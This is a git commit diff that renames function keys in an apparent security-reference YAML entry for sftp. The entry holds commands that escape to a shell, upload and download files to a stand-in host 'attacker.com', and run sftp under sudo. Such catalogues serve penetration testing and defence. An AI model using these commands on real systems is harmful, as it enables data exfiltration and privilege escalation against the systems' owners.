Adopt new function names

This commit is contained in:
Emilio Pinna
2018-10-05 18:55:38 +01:00
parent 1c77f099d3
commit dd337b5ddf
110 changed files with 354 additions and 354 deletions

View File

@@ -1,23 +1,23 @@
---
functions:
execute-interactive:
shell:
- code: |
HOST=user@attacker.com
sftp $HOST
!/bin/sh
upload:
file-upload:
- description: Send local file to a SSH server.
code: |
RHOST=user@attacker.com
sftp $RHOST
put file_to_send file_to_save
download:
file-download:
- description: Fetch a remote file from a SSH server.
code: |
RHOST=user@attacker.com
sftp $RHOST
get file_to_get file_to_save
sudo-enabled:
sudo:
- code: |
HOST=user@attacker.com
sudo sftp $HOST